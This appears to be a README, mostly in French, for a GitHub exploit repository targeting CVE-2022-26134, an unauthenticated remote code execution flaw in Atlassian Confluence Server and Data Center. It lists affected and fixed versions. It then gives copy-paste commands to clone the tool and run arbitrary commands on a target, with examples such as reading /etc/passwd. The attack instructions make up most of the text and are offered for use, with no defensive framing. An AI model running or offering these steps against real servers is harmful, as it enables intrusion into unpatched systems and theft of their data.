nxtexploit/cve-2022-26134Atlassian Confluence (CVE-2022-26134) - Unauthenticated Remote code execution (RCE)
Confluence Server et Data Center - CVE-2022-26134 - Vulnérabilité d'exécution de code à distance non authentifiée de gravité critique
| Résumé | CVE-2022-26134 - Vulnérabilité d'exécution de code à distance non authentifiée de gravité critique dans Confluence Server et Data Center |
|---|---|
| Produits affectés | Confluence Confluence Server Confluence Data Center |
| Versions affectées | Toutes les versions prises en charge de Confluence Server et Data Center sont affectées. Les versions de Confluence Server et Data Center postérieures à 1.3.0 sont affectées. |
| Versions corrigées | 7.4.17 7.13.7 7.14.3 7.15.2 7.16.4 7.17.4 7.18.1 |
Copiez et collez dans le terminal :
git clone https://github.com/nxtexploit/CVE-2022-26134 ; cd CVE-2022-26134 ; pip install -r requirements.txt
python3 CVE-2022-26134.py https://target.com type-command-here
python3 CVE-2022-26134.py https://target.com "uname -a"
python3 CVE-2022-26134.py https://target.com "cat /etc/passwd"
python3 CVE-2022-26134.py https://target.com id
